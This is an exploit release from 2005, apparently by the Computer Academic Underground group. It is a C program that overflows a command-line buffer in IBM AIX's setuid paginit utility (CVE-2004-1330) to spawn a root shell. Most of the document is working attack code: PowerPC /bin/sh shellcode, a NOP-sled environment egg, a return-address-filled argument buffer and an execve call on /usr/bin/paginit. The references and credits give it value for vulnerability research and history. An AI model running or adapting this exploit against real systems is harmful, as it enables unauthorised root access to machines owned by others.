____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Exploit Code ===============/======================================================== Exploit ID: CAU-EX-2005-0001 Release Date: 2005.06.08 Title: CAU-paginit.c Description: IBM AIX paginit Local Elevated Privileges Exploit Tested: AIX 5.2 Attributes: Local, Elevated Privileges Exploit URL: http://www.caughq.org/exploits/CAU-EX-2005-0001.txt Author/Email: intropy ===============/======================================================== Description =========== This exploit overflows a buffer used in the handling of paginit's command-line arguments, providing elevated privileges. Credits ======= cees-bart is credited with originally discovering this vulnerability. References ========== http://osvdb.org/displayvuln.php?osvdb_id=12528&Lookup=Lookup http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-1330 http://www.securityfocus.com/bid/12043/info Exploit ======= /* * * IBM AIX paginit root exploit * * I just wanted to play with PowerPC (Tested on 5.2) * * intropy (intropy caughq.org) * */ #include #include #include #include #define DEBUG 1 #define BUFFERSIZE 8000 #define EGGSIZE 4003 #define NOP 0x60 #define ADDRESS 0x2ff22fff-EGGSIZE /* lsd */ char shellcode_binsh[] = "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */ "\x38\x7f\xff\x08" /* cal r3,-248(r31) */ "\x38\x9f\xff\x10" /* cal r4,-240(r31) */ "\x90\x7f\xff\x10" /* st r3,-240(r31) */ "\x90\xbf\xff\x14" /* st r5,-236(r31) */ "\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */ "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */ "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ "\x44\xff\xff\x02" /* svca */ "/bin/sh" "\x05"; unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) { int count, env_size = strlen(payload) + environment_size + 4 + 1; unsigned long address, *ret_addressp; if (DEBUG) printf("Adding nops to environment buffer..."); for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) { *(env_buffer++) = NOP; } if (DEBUG) printf("size %d...\n", count); if (DEBUG) printf("Adding payload to environment buffer..."); for ( count = 0; count < strlen(payload); count++ ) { *(env_buffer++) = payload[count]; } if (DEBUG) printf("size %d...\n", count); env_buffer[env_size - 1] = '\0'; memcpy(env_buffer, "CAU=", 4); memset(address_buffer, 'A', buffer_size); address = ADDRESS; if (DEBUG) printf("Going for address @ 0x%lx\n", address); if (DEBUG) printf("Adding return address to buffer..."); ret_addressp = (unsigned long *)(address_buffer+2); for ( count = 0; count < buffer_size; count += 4) { *(ret_addressp++) = address; } if (DEBUG) printf("size %d...\n", count); address_buffer[buffer_size - 1] = '\0'; return( 0 ); } int main() { char *buffer, *egg; char *args[3], *envs[2]; buffer = (char *)malloc(BUFFERSIZE); egg = (char *)malloc(EGGSIZE); cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE); args[0] = "/usr/bin/paginit"; args[1] = buffer; args[2] = NULL; envs[0] = egg; envs[1] = NULL; execve( "/usr/bin/paginit", args, envs ); return( 0 ); }